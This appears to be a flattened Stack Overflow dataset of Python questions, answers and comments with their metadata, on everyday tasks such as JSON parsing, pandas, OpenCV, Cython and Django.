has body: I am trying to parse a JSON file, which consists of multiple tweets streamed using tweepy. When trying to read a JSON file consisting of only one tweet, I can read it no problem. When trying to read a JSON file consisting of multiple tweets, I get an error. I think either I'm missing some type of encoding, or the JSON is formatted incorrectly. Here is the error: Traceback (most recent call last): File "C:\Repos\Testing\parse_json.py", line 16, in &lt;module&gt; tweet = json.load(data_file) File "C:\Python\Python36-32\lib\json\__init__.py", line 299, in load parse_constant=parse_constant, object_pairs_hook=object_pairs_hook, **kw) File "C:\Python\Python36-32\lib\json\__init__.py", line 354, in loads return _default_decoder.decode(s) File "C:\Python\Python36-32\lib\json\decoder.py", line 342, in decode raise JSONDecodeError("Extra data", s, end) json.decoder.JSONDecodeError: Extra data: line 3 column 1 (char 2753) Here is my parse_json.py code: import json with open('raw_tweets.json') as data_file: tweet = json.load(data_file) print(f"Created: {tweet['created_at']} \t Tweet: {tweet['text']} \t Language: {tweet['lang']}") Here is my raw_tweets.json: {"created_at":"Sun Nov 12 16:11:40 +0000 2017","id":929743506096001024,"id_str":"929743506096001024","text":"#Sentiment analysis of The Velveteen Rabbit https:\/\/t.co\/MLSItn74wz #keyphrase #language #nltk #pattern #python","source":"\u003ca href=\"http:\/\/www.ajaymatharu.com\/\" rel=\"nofollow\"\u003eTweet Old Post\u003c\/a\u003e","truncated":false,"in_reply_to_status_id":null,"in_reply_to_status_id_str":null,"in_reply_to_user_id":null,"in_reply_to_user_id_str":null,"in_reply_to_screen_name":null,"user":{"id":811014723328090112,"id_str":"811014723328090112","name":"Addie","screen_name":"RealThinks_","location":null,"url":"http:\/\/students.washington.edu\/adelak\/","description":"Chemist. Data scientist. Dinosaur enthusiast. Pretty big on the whole \"being nice to people\" thing.","translator_type":"none","protected":fal…
has comment: http://stackoverflow.com/comment/81452859
downvote count: 0
upvote count: 1
answer count: 1
has answer: http://stackoverflow.com/a/47251527
favorite count: 0
has title: JSONDecodeError when parsing JSON
type: Question
tagged with: http://stackoverflow.com/tag/json
tagged with: python
tagged with: twitter
type: UnansweredQuestion
score: 1
tagged with: tweepy

http://stackoverflow.com/q/47279878
has comment: http://stackoverflow.com/comment/81510958
accepted answer: http://stackoverflow.com/a/47280748
upvote count: 2
has comment: http://stackoverflow.com/comment/81511431
tagged with: windows
tagged with: powershell
possible better answer: http://stackoverflow.com/a/47280526
has comment: http://stackoverflow.com/comment/81511233
has comment: http://stackoverflow.com/comment/81510240
tagged with: python
has comment: http://stackoverflow.com/comment/81510936
has comment: http://stackoverflow.com/comment/81510928
score: 2
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47284570
has title: Zero all filesize in a large directory tree (delete file content, keep files)
has body: How can I delete the content (zero the filesize) of a large directory tree (10 GB, 1K files) but keep the entire tree structure, filenames, extensions. (If I can keep the original last write time [last content modification time] that's a bonus). I have seen several suggestions for individual files, but can not figure out the way to make this work for the entire CWD. def deleteContent(fName): with open(fName, "w"): pass
answer count: 3
has comment: http://stackoverflow.com/comment/81510260
has comment: http://stackoverflow.com/comment/81510817
has answer: http://stackoverflow.com/a/47280748
downvote count: 0
has comment: http://stackoverflow.com/comment/81511575
has comment: http://stackoverflow.com/comment/81510736
has answer: http://stackoverflow.com/a/47280526
has comment: http://stackoverflow.com/comment/81511017
has comment: http://stackoverflow.com/comment/81511745
favorite count: 0
type: Question
tagged with: python-3.x

http://stackoverflow.com/q/47342212
tagged with: tensorflow-serving
tagged with: python
type: Question
has title: Prediction using the TF contrib predictor in Tensor Flow
answer count: 0
upvote count: 3
type: UnansweredQuestion
downvote count: 0
has body: While training a python model for census dataset using the code below: https://gist.github.com/gaganmalhotra/8c40e7650f27cf3f894bad092fbe01ab I was successfully able to train/save and load the model back in python. But for making predictions using the predictor it creates error like: ValueError: Got unexpected keys in input_dict: set(['workclass', 'gender', 'marital_status', 'race', 'native_country', 'education', 'occupation']) When the data passed to the model only contains these tensors, the code for that could be found in the gist i have shared above. Also find the snippet below- from tensorflow.contrib import predictor export_dir = "/Users/Documents/SampleTF_projects/tempppp/1510877466/" predict_fn = predictor.from_saved_model(export_dir, signature_def_key=None) K_CATEGORICAL_COLUMNS = ["gender", "native_country", "education", "occupation", "workclass", "marital_status", "race"] def test_ip(df): categorical_cols = {k: tf.SparseTensor( indices=[[i, 0] for i in range(df[k].size)], values=df[k].values, dense_shape=[df[k].size, 1]) for k in K_CATEGORICAL_COLUMNS} return categorical_cols # Get a sample from training dataframe input_test = df_train[2:3] # Passing through the input function will return the dict of corresponding tensors dict_test = test_ip(input_test) #Now making the prediction predictions = predict_fn(dict_test) #&lt;&lt;&lt;&lt;&lt;&lt;Error caused at this line print(predictions['probabilities']) Im not sure as only these features were used for training the data and now we are using same features for prediction. @ash
tagged with: tensorflow
favorite count: 0
score: 3

http://stackoverflow.com/comment/81545306
type: Comment
type: QuestionComment
has text: Apache POI libraries will read your DOCSX files https://poi.apache.org/document/index.html
score: 0
comment on: http://stackoverflow.com/q/47295900

http://stackoverflow.com/comment/81672502
has text: You have to compare the input to a string: `if difficulty == "easy":`
type: QuestionComment
comment on: http://stackoverflow.com/q/47359829
type: Comment
score: 1

http://stackoverflow.com/comment/81436831
comment on: http://stackoverflow.com/q/47242814
type: Comment
type: QuestionComment
score: 0
has text: any idea??????????????????????

http://stackoverflow.com/comment/81464832
has text: Use an indicator that the process is working as for example the elapsed time, or that it says progressing.
type: Comment
comment on: http://stackoverflow.com/q/47256606
type: QuestionComment
score: 0

http://stackoverflow.com/a/47250576
has comment: http://stackoverflow.com/comment/81451422
score: 0
accepted answer of: http://stackoverflow.com/q/47250461
type: Answer
answers question: http://stackoverflow.com/q/47250461
has body: you're returning entire list, so try to write each item in list with open('EbayTestFil.csv','w') as f: writer = csv.writer(f) for item in url_list: writer.writerow([item])
type: AcceptedAnswer

http://stackoverflow.com/q/47259229
has answer: http://stackoverflow.com/a/67127043
possible better answer: http://stackoverflow.com/a/67127043
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/64020444
tagged with: python-3.x
upvote count: 5
score: 5
downvote count: 0
accepted answer: http://stackoverflow.com/a/47259741
tagged with: python
tagged with: opencv
type: AnsweredQuestion
has body: Why is rectangle not showing up in my code? import cv2 im = cv2.imread('players.bmp') #im.shape &gt;&gt;returns (765,1365,3) cv2.rectangle(im, (64,1248), (191,1311), (0,255,0), 2) cv2.namedWindow("image", cv2.WINDOW_NORMAL) cv2.imshow('image', im) cv2.waitKey(0) cv2.destroyAllWindows()
answer count: 3
has title: rectangle not showing up in opencv
has answer: http://stackoverflow.com/a/47259741

http://stackoverflow.com/comment/81545613
type: QuestionComment
has text: If there's no code for these classes then the only difference is their name.
score: 1
comment on: http://stackoverflow.com/q/47297120
type: Comment

http://stackoverflow.com/comment/81654072
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/47350677
has text: I read it again and seem I understand - need last non 0 value and for it `open`.

http://stackoverflow.com/comment/81734962
has text: No, `[*Division.objects.all()]` is a `SyntaxError`. It has got nothing to with Django `QuerySet`, because `SyntaxError` means that it is not a valid Python syntax. You can't use `*` to unpack something anywhere other than while passing arguments to a function. You can try it in a Python shell and see what I mean.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/47357296
type: AnswerComment

http://stackoverflow.com/comment/99103346
type: AnswerComment
type: Comment
has text: Ahhh that explains it then. I think that's our best option for now.
comment on: http://stackoverflow.com/a/47331343
score: 0

http://stackoverflow.com/comment/81534128
score: 0
type: AnswerComment
has text: Is there any way I could create new class object through user input though? So how do I do that? EDIT: not the original question, I am simply wondering how you'd do that, since the rest of my code wouldn't fit what you suggested :)
type: Comment
comment on: http://stackoverflow.com/a/47249391

line
tags question: http://stackoverflow.com/q/47356073
tags question: http://stackoverflow.com/q/47276878
tags question: http://stackoverflow.com/q/47246540
tags question: http://stackoverflow.com/q/47382415
tag name: line
type: Tag

http://stackoverflow.com/q/47376663
has body: I have 100's of xml files in a directory. The structure of the xml is exactly the same. However, I want to add some of the nodes of the xml together and retain the rest as it is. Example xml 1 <?xml-stylesheet type='text/xsl' href='image_metadata_stylesheet.xsl'?> imglab dataset Created by imglab tool. LBS_Marks Example xml 2 <?xml-stylesheet type='text/xsl' href='image_metadata_stylesheet.xsl'?> imglab dataset Created by imglab tool. SBS_Marks SBS_Marks SBS_Marks In both these data sets, the images are the same however the markings are different. For example, in the first example set, the first image 0420.jpg does not have any box tags associated with it, while the same image in the second file has box tag with label SBS_Marks associated with. I am trying to merge these files together, so that for each image, I get only the box coordinates and label. For example the desired output will be as follows: <?xml-stylesheet type='text/xsl' href='image_metadata_stylesheet.xsl'?> imglab dataset Created by imglab tool. SBS_Marks LBS_Marks SBS_Marks SBS_Marks In the desired output example, the first image 0420.jpg has the box and label elements from second file, second image 0544.jpg has two boxes and labels one each from file 1 and file 2 and third image has the box and label from the second file. I tried using this code: #!/usr/bin/env python import sys from xml.etree import ElementTree def run(files): first = None for filename in files: data = ElementTree.parse(filename).getroot() if first is None: first = data else: first.extend(data) if first is not None: print ElementTree.tostring(first) if __name__ == "__main__": run(sys.argv[1:]) But this just prints the contents of the file one after the other but does not merge. I don't know how to create an xsl template, hence could not try with it. Can someone help with a better code for the above or provide an xsl template that helps me in merging all these files in the folder please.
score: 0
has title: Merging multiple xml using xslt in Python
answer count: 1
has comment: http://stackoverflow.com/comment/81722574
type: Question
tagged with: xslt
has comment: http://stackoverflow.com/comment/81706965
accepted answer: http://stackoverflow.com/a/47410319
tagged with: python
has answer: http://stackoverflow.com/a/47410319
linked to: http://stackoverflow.com/q/32651932
has comment: http://stackoverflow.com/comment/81771863
tagged with: http://stackoverflow.com/tag/xml
type: AnsweredQuestion

http://stackoverflow.com/a/47320815
answers question: http://stackoverflow.com/q/47320563
upvote count: 1
type: Answer
has body: Since you are familiar with pivot tables in Excel, I'll give you the Pandas pivot_table method also: df.pivot_table('id','value','movie',aggfunc='count').fillna(0).astype(int) Output: movie a b c value 0 4 2 0 10 1 1 0 20 2 0 0 30 0 3 0 40 0 0 2
score: 1
downvote count: 0

http://stackoverflow.com/q/47229065
tagged with: data-structures
has title: How to print parent of a given node
answer count: 2
has comment: http://stackoverflow.com/comment/81409730
downvote count: 0
has body: I created a binary tree and I'm trying to find the parent of any node that I'm passing manually. It works fine on left subtree but gives me none only for some specific nodes on right subtree. # To create a tree from scratch class tree: """To create nodes each time an instance has been created""" def __init__(self, key): self.data = key self.left = None self.right = None def parent_search(self, root, child_node): if root : if root.left.data== child_node: return root.data if root.right.data== child_node: return root.data elif root: return self.parent_search(root.left, child_node) return self.parent_search(root.right, child_node) root = tree(10) root.left = tree(20) root.left.left = tree(90) root.left.right = tree(100) root.left.left.left = tree(80) root.right = tree(30) root.right.left = tree(40) root.right.right = tree(50) print(root.parent_search(root,80)) If I give root.parent_search(root,80) I get 90 as the parent of 80. But, if I search suppose 40 on the right it gives me NoneType error. return self.parent_search(root.left, child_node) File "/home/vaibhav/Desktop/Data_Structures/python_play_area.py", line 14, in parent_search if root.right.data== child_node: AttributeError: 'NoneType' object has no attribute 'data' Observation I dont see any issue the with the right child of the subtree because I can see root.left.right getting passed successfully when we call it's parent or child.
score: 1
upvote count: 1
has answer: http://stackoverflow.com/a/47229772
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81409047
tagged with: binary-tree
has comment: http://stackoverflow.com/comment/81408866
tagged with: recursive-datastructures
has answer: http://stackoverflow.com/a/47234682
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/q/47278020
has comment: http://stackoverflow.com/comment/81511339
has body: I am trying to convert binary file into readable format but unable to do so, please suggest how it could be achieved. $ file test.docx test.docx: Microsoft Word 2007+ $ file -i test.docx test.docx: application/msword; charset=binary $ &gt;&gt;&gt; raw = codecs.open('test.docx', encoding='ascii').readlines() Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/home/Python/installPath/lib/python2.7/codecs.py", line 694, in readlines return self.reader.readlines(sizehint) File "/home/Python/installPath/lib/python2.7/codecs.py", line 603, in readlines data = self.read() File "/home/Python/installPath/lib/python2.7/codecs.py", line 492, in read newchars, decodedbytes = self.decode(data, self.errors) UnicodeDecodeError: 'ascii' codec can't decode byte 0x93 in position 18: ordinal not in range(128)
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/47278049
has comment: http://stackoverflow.com/comment/81511987
has answer: http://stackoverflow.com/a/47278093
has comment: http://stackoverflow.com/comment/81511871
score: 0
tagged with: linux
has answer: http://stackoverflow.com/a/64125647
answer count: 3
has title: How to convert binary file into readable format on linux server
tagged with: shell
type: Question
has comment: http://stackoverflow.com/comment/81510656
has comment: http://stackoverflow.com/comment/81521203

http://stackoverflow.com/a/47369610
score: 1
upvote count: 1
has body: numb_list = list() text = list() with open("file.txt") as fl: for line in fl: n, t = line.strip().split(", ") numb_list.append(int(n)) text.append(t.replace(".", "").replace(",", ""))
has comment: http://stackoverflow.com/comment/81691879
has comment: http://stackoverflow.com/comment/81691909
type: Answer
answers question: http://stackoverflow.com/q/47369580
downvote count: 0

http://stackoverflow.com/comment/81721563
type: QuestionComment
comment on: http://stackoverflow.com/q/47380359
score: 0
type: Comment
has text: I don't understand, you mean a list of values for each key? `some_dict = {'Head1': ['data1', 'data2', 'data3'], 'Head2': ['data1', 'data2', 'data3']}`

http://stackoverflow.com/q/47377115
answer count: 1
tagged with: cython
has comment: http://stackoverflow.com/comment/81707437
has comment: http://stackoverflow.com/comment/81707754
accepted answer: http://stackoverflow.com/a/47380594
tagged with: sequence
has comment: http://stackoverflow.com/comment/81707668
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/81707902
has answer: http://stackoverflow.com/a/47380594
has comment: http://stackoverflow.com/comment/81709276
has comment: http://stackoverflow.com/comment/81811660
has comment: http://stackoverflow.com/comment/81708072
linked to: http://stackoverflow.com/q/47371520
upvote count: 3
has body: I have successfully used Cython for the first time to significantly speed up packing nibbles from one list of integers (bytes) into another (see Faster bit-level data packing), e.g. packing the two sequential bytes 0x0A and 0x0B into 0xAB. def pack(it): """Cythonize python nibble packing loop, typed""" cdef unsigned int n = len(it)//2 cdef unsigned int i return [ (it[i*2]//16)&lt;&lt;4 | it[i*2+1]//16 for i in range(n) ] While the resulting speed is satisfactory, I am curious whether this can be taken further by making better use of the input and output lists. cython3 -a pack.cyx generates a very "cythonic" HTML report that I unfortunately am not experienced enough to draw any useful conclusions from. From a C point of view the loop should "simply" access two unsigned int arrays. Possibly, using a wider data type (16/32 bit) could further speed this up proportionally. The question is: (how) can Python [binary/immutable] sequence types be typed as unsigned int array for Cython? Using array as suggested in How to convert python array to cython array? does not seem to make it faster (and the array needs to be created from bytes object beforehand), nor does typing the parameter as list instead of object (same as no type) or using for loop instead of list comprehension: def packx(list it): """Cythonize python nibble packing loop, typed""" cdef unsigned int n = len(it)//2 cdef unsigned int i cdef list r = [0]*n for i in range(n): r[i] = (it[i*2]//16)&lt;&lt;4 | it[i*2+1]//16 return r I think my earlier test just specified an array.array as input, but following the comments I've now just tried from cpython cimport array import array def packa(array.array a): """Cythonize python nibble packing loop, typed""" cdef unsigned int n = len(a)//2 cdef unsigned int i cdef unsigned int b[256*64/2] for i in range(n): b[i] = (a[i*2]//16)&lt;&lt;4 | a[i*2+1]//16; cdef array.array c = array.array("B", b) return c which compiles but ima = array.array("B", imd) # unsigned char (1 Byte) pa…
tagged with: arrays
downvote count: 0
linked to: http://stackoverflow.com/q/11689967
has title: Typing Python sequence to Cython array (and back)
has comment: http://stackoverflow.com/comment/81707095
tagged with: python
has comment: http://stackoverflow.com/comment/81707700
type: AnsweredQuestion
score: 3
tagged with: byte

http://stackoverflow.com/comment/81676652
type: QuestionComment
comment on: http://stackoverflow.com/q/47361589
score: 1
type: Comment
has text: Possible duplicate of [Plot smooth line with PyPlot](https://stackoverflow.com/questions/5283649/plot-smooth-line-with-pyplot)

http://stackoverflow.com/a/47236052
accepted answer of: http://stackoverflow.com/q/47235819
type: Answer
answers question: http://stackoverflow.com/q/47235819
has comment: http://stackoverflow.com/comment/81472337
has body: your question solution depends always on your pic size and frame size ,so code must be adjusted according to pixel size of your pic i am giving generic code for your problem maynot fit to your image standards from PIL import Image img = Image.open('Pic.jpg') img_w, img_h = img.size frame = Image.new('RGBA', (1440, 900), (255, 255, 255, 255)) bg_w, bg_h = frame.size offset = ((bg_w - img_w) / 2, (bg_h - img_h) / 2) frame.paste(img, offset) frame.save('out.png')
score: 1
type: AcceptedAnswer
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/81578057
type: AnswerComment
comment on: http://stackoverflow.com/a/47294336
score: 0
has text: @MarekHríbik I just added some explanations to my answer.
type: Comment

http://stackoverflow.com/a/47315916
type: Answer
has comment: http://stackoverflow.com/comment/81582836
has comment: http://stackoverflow.com/comment/81582894
has body: The difference is that call passes each argument to tcl as a separate word, where eval will evaluate a string by first parsing it and then executing it. In other words, this: root.eval("winfo exists .l0") ... is functionally identical to this: root.tk.call("winfo", "exists", ".l0") As for the error message 'str' object has no attribute 'winfo_exists', it means exactly that. "l0" is the name of an object in the embedded tcl interpreter, but in python "l0" is just a string and python strings don't have the attribute winfo_exists.
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/81583074
score: 1
answers question: http://stackoverflow.com/q/47315764
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/81582956
accepted answer of: http://stackoverflow.com/q/47315764

http://stackoverflow.com/comment/81678156
type: Comment
comment on: http://stackoverflow.com/a/47362597
has text: @BlazeTama `df.date.dt.time` (Or `df.date.dt.hour` ) and `df.date.dt.date`
type: AnswerComment
score: 0

http://stackoverflow.com/a/47376532
has comment: http://stackoverflow.com/comment/81705256
score: 2
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/81705181
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47376495
has body: You can turn the string to uppercase (or lowercase), then count the occurrences: string.upper().count('B') So, overall, your code will look like this: def count_letter_b(string): return string.upper().count('B') Note: no need to cast to int(..) as the result of str.count is already an int
answers question: http://stackoverflow.com/q/47376495
type: Answer

http://stackoverflow.com/a/47334557
has body: You are using the new path from Django 2.0 incorrectly. You shouldn't use a regex like \d+. Try changing it to: path('list/&lt;int:id&gt;/', list_view, name='list_view'), The name is required if you want to reverse the URL. If you want to stick with regexes, then use re_path (or url() still works if you want to be compatible with older versions of Django). See the URL dispatcher docs for more info. Note the trailing slash as well - otherwise your path matches http://192.168.0.106:8000/books/list/21 but not http://192.168.0.106:8000/books/list/21/.
type: Answer
has comment: http://stackoverflow.com/comment/81621001
upvote count: 5
score: 5
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47334486
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/47334486

http://stackoverflow.com/comment/81489175
has text: Thanks - how do I wrap the initial script into a function?
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47269036
type: Comment

http://stackoverflow.com/q/47255252
score: 1
has answer: http://stackoverflow.com/a/47255317
accepted answer: http://stackoverflow.com/a/47255317
downvote count: 0
upvote count: 1
has title: Program gives unexpected output -- why?
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47255615
possible better answer: http://stackoverflow.com/a/47255615
tagged with: python
has body: I am writing a program which will test arithmetic skills. It is supposed to generate random questions, and give a random operation. Here is my code: import random score = 0 counter = 0 ops = ['+', '-', '*', '/'] def question(): num1 = random.randint(0,10) num2 = random.randint(1,10) #Starts from 1 to avoid zerodivision error operation = random.choice(ops) question = float(input(f"What is {num1} {operation} {num2}?: ")) global answer answer = eval(str(num1) + operation + str(num2)) global counter counter = counter + 1 def points(): while counter &lt; 10: question() if question == answer: print("\nCorrect!\n") global score score = score + 1 else: print(f"\nWrong! The answer is {answer}\n") points() print(f"\nYou got {score} out of {counter}") But it gives this output: What is 9 + 3?: 12 Wrong! The answer is 12 It is supposed to say correct if the input matches the answer, and count a score, and print the score out of ten at the end. Please help me fix this.
type: AnsweredQuestion
answer count: 2

http://stackoverflow.com/comment/81657799
type: Comment
type: QuestionComment
has text: Thank you for your answer! Actually, you pointed out an error in my code there is no variable "prec". There is only "evap" and "rain" and both of them have 3 dimensions that I slice using [:,:] I just don't understand the error!
score: 0
comment on: http://stackoverflow.com/q/47334454

http://stackoverflow.com/comment/125872421
score: 2
comment on: http://stackoverflow.com/a/48210525
type: Comment
has text: For posterity, the documentation for the `Image.save()` method can be found [here](https://pillow.readthedocs.io/en/latest/reference/Image.html#PIL.Image.Image.save) and the list of supported file formats and the corresponding parameters that can be passed to `Image.save()` can be found [here](https://pillow.readthedocs.io/en/latest/handbook/image-file-formats.html) ([PDF file format](https://pillow.readthedocs.io/en/latest/handbook/image-file-formats.html#pdf)).
type: AnswerComment

http://stackoverflow.com/q/47268976
score: 6
has comment: http://stackoverflow.com/comment/81488857
tagged with: python
answer count: 6
has answer: http://stackoverflow.com/a/76931040
has answer: http://stackoverflow.com/a/50202099
upvote count: 6
has title: Pandas rolling weighted average
has comment: http://stackoverflow.com/comment/81488899
tagged with: pandas
downvote count: 0
tagged with: weighted-average
linked to: http://stackoverflow.com/q/43636916
has answer: http://stackoverflow.com/a/55676042
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49017239
has body: I want to apply a weighted rolling average to a large timeseries, set up as a pandas dataframe, where the weights are different for each day. Here's a subset of the dataframe DF: Date v_std vertical 2010-10-01 1.909 545.231 2010-10-02 1.890 538.610 2010-10-03 1.887 542.759 2010-10-04 1.942 545.221 2010-10-05 1.847 536.832 2010-10-06 1.884 538.858 2010-10-07 1.864 538.017 2010-10-08 1.833 540.737 2010-10-09 1.847 537.906 2010-10-10 1.881 538.210 2010-10-11 1.868 544.238 2010-10-12 1.856 534.878 I want to take a rolling average of the vertical column using the v_std as the weights. I've been using the weighted average function: def wavg(group, avg_name, weight_name): d = group[avg_name] w = group[weight_name] try: return (d * w).sum() / w.sum() except ZeroDivisionError: return d.mean() But I can't figure out how to implement this for a rolling weighted average. I assume it is similar to df.rolling(window = 7).apply(wavg, "vertical", "v_std") or utilizing rolling_apply? Or will I have to write a new function all together? Thank you!
has answer: http://stackoverflow.com/a/54770888
has answer: http://stackoverflow.com/a/70698278
type: UnansweredQuestion

http://stackoverflow.com/comment/88904723
has text: try to replace src with an actual path. It should point to a folder and not a file
type: Comment
type: QuestionComment
score: 1
comment on: http://stackoverflow.com/q/47287721

http://stackoverflow.com/comment/81659898
score: 0
comment on: http://stackoverflow.com/a/47353811
has text: Why? Keeping an `Enum` has its advantages, notably using types for the `Gender`
type: Comment
type: AnswerComment

http://stackoverflow.com/a/76590299
has body: this is a good question and relevant for nx 3.1 . You can do: cities.add_edge('San Diego', 'LA', **{'distance': 0.4}) btw, python is not a compiled language.
downvote count: 0
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/47369732

crash
tags question: http://stackoverflow.com/q/47343331
type: Tag
tag name: crash

http://stackoverflow.com/comment/81486070
has text: Is ngrok a permanent solution? How secure is it? If it’s not permanent, what can I️ do in replacement of it as I️ have to keep the bot itself running inside the network.
comment on: http://stackoverflow.com/a/47265096
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/a/47356446
has body: In your __init__ function, you've created a local variable. That variable will no longer exist after the function has completed. If you want to create a variable specific to the object x then you should create a self.running_sum variable class Test: def __init__(self): self.root = None self.running_sum = 0 def test_function(self): print(self.running_sum) If you want to create a variable specific to the class Test then you should create a Test.running_sum variable. class Test: running_sum = 0 def __init__(self): self.root = None def test_function(self): print(Test.running_sum)
has comment: http://stackoverflow.com/comment/81665540
score: 1
type: Answer
answers question: http://stackoverflow.com/q/47356167
downvote count: 0
upvote count: 1

http://stackoverflow.com/q/47254230
downvote count: 3
accepted answer: http://stackoverflow.com/a/47254326
favorite count: 0
type: Question
upvote count: 0
answer count: 2
has title: if you know exact number of int you want in your list, how do you put it in one line
has answer: http://stackoverflow.com/a/47254343
possible better answer: http://stackoverflow.com/a/47254343
score: -3
tagged with: python
has body: If I know that I need to put for example 5 numbers in a list, how can i put it in with just one line of input? Sorry for beginner question, but i am new to this and I wasn't able to find an answer. Thanks in advance.
has comment: http://stackoverflow.com/comment/81458898
type: AnsweredQuestion
tagged with: list
has answer: http://stackoverflow.com/a/47254326

http://stackoverflow.com/a/47320139
score: -1
upvote count: 0
has body: You can use the second parameter in the round() function. i = 9.600000000000001 i = round(i, 5) print("%.5f" % i) will return 9.60000.
answers question: http://stackoverflow.com/q/47320060
downvote count: 1
type: Answer

http://stackoverflow.com/a/75405747
answers question: http://stackoverflow.com/q/47289842
has body: I had similar issue using python3.8, stem package was installed, had Ubuntu 20.04 system, but still kept on getting the "No module named 'stem'" error. until I ran into stem documentation then figured I should run: sudo apt-get install python3-stem
type: Answer
score: 0

http://stackoverflow.com/comment/81508294
has text: What specifically is the output you're looking for? `r"domain\\" == "domain\\\\"` and `"domain\\"` produce strings with both a double and a single backslash, respectively.
type: QuestionComment
comment on: http://stackoverflow.com/q/47278812
score: 1
type: Comment

http://stackoverflow.com/comment/81546743
comment on: http://stackoverflow.com/a/47297564
type: AnswerComment
has text: If this was helpful, please mark the answer as correct :) Also, if you still have issues, please update your question.
type: Comment
score: 0

http://stackoverflow.com/comment/81617525
comment on: http://stackoverflow.com/q/47332802
has text: If I click 'OK', the window closes and the script stops silently. Anaconda is fine, but I need Python itself for Node.js. `npm install -G windows-build-tools` tries to install the .msi, but tells me I need to run it from administrative PowerShell
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81789598
has text: @ rkersh thanks, you are right! What about eclipse? How can I run that?
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/47358919
score: 0

http://stackoverflow.com/comment/81711843
type: QuestionComment
has text: Does it have to refresh or can it just send another request? If you can just make repeated requests then you can use something very basic like Curl or Guzzle to fetch the page. Otherwise you'll be stuck using something that can execute Javascript, which in practice would limit you to things like headless Chrome or PhantomJS.
comment on: http://stackoverflow.com/q/47374718
score: 0
type: Comment

http://stackoverflow.com/comment/81637791
score: 0
type: Comment
comment on: http://stackoverflow.com/q/47342623
type: QuestionComment
has text: please add some code or print screen?

http://stackoverflow.com/comment/81700281
has text: You can refer to this answer https://stackoverflow.com/a/32233385/4662041 This might help. All I feel is the issue with the encoding of the file you are writing data to if it is `utf-8` it shouldn't give an error.
score: 1
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47373515

http://stackoverflow.com/q/47223959
upvote count: 2
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/81415819
downvote count: 0
tagged with: python
linked to: http://stackoverflow.com/q/42257512
has body: I'm preparing a script to evaluate some code coming from other people, hence, I need to limit the execution environment as much as I can. The script is developed under python3.4 using psutil and subprocess, the target file to run is a compiled c++ code with everything I should avoid (very huge memory allocation, high cpu usage, fork creation, etc). As documentation, i've read this page and this repository and this tutorial, but still, when I call the process from python, it seems to ignore any of the limit imposed. The instruction that executes my script: PROC = subprocess.Popen(["sleep 1 ; ./local_tmp/test"], shell=True, preexec_fn=preExecFunction) Why sleep 1? Because according to this question a process may be called without limitations, hence, i'm putting the sleep to delay it and give time for python to limit all the process. What is doing preExecFunction ? Basically is limiting the environment through calls to resource's setrlimit function in python (doc in first link i've given) Segment of CPP code: struct rlimit rl; getrlimit (RLIMIT_NPROC, &amp;rl); printf("Default value is : %lld\n", (long long int)rl.rlim_cur); int pid = fork(); printf("Default value is : %lld\n", (long long int)rl.rlim_cur); printf("%d\n",pid); Output of CPP code Default value is : 0 Default value is : 0 31670 Any help given will be greatly appreciated. Thanks! edit : I'm running the python script as a root user because otherwise I cannot run the psutil library.
tagged with: c++
score: 2
tagged with: subprocess
answer count: 0
favorite count: 0
tagged with: resources
has title: Forking when setrlimit was already set to 0?
type: Question
tagged with: setrlimit

http://stackoverflow.com/q/47283342
has body: I am trying to open an Xls file on using python pandas ( also tried several others libraries like xlrd and pyexcel) and wasnt able to open it. when a try to used the comand df = pd.read_excel('mil.xls') I get following error: _locate_stream(Workbook): seen 0 5 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 20 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 4 3 40 2 I found out that when, before trying to read it, I unblock the file, that is, disable manually the protected view mode on excel, I could read the file normally. Is there a way I can unblock the .Xls file on python though some librarie ?
type: Question
score: 0
tagged with: http://stackoverflow.com/tag/xls
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/59992676
linked to: http://stackoverflow.com/q/27556751
answer count: 1
has comment: http://stackoverflow.com/comment/81529551
tagged with: excel
has title: Error trying to read blockede xls file on python
tagged with: pandas
tagged with: python
has comment: http://stackoverflow.com/comment/81525741
has comment: http://stackoverflow.com/comment/81542387
has comment: http://stackoverflow.com/comment/81542681

http://stackoverflow.com/q/47288360
duplicate of: http://stackoverflow.com/q/2428092
has body: I have function in view from django.shortcuts import render from .models import myModel def articleTheme(request): if request.method == 'POST': article_id = request.POST['id'] article = myModel.objects.get(id=article_id) theme = article.theme return render(request, 'theme.html', {'newTheme': theme }) now it works normal. But I have excess html. I want return json object. What I can import and return?
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47289342
tagged with: django
tagged with: python
linked to: http://stackoverflow.com/q/9262278
upvote count: 4
score: 3
answer count: 2
linked to: http://stackoverflow.com/q/2428092
duplicate of: http://stackoverflow.com/q/9262278
has answer: http://stackoverflow.com/a/47288419
has title: How I can change render to return json in view Django
downvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/q/47347432
type: UnansweredQuestion
tagged with: configuration
tagged with: python
tagged with: pycharm
